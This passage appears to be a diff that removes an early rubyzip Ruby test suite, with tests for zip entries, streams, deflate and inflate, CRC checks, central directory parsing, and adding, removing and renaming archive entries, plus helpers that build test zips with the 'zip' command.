- - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - 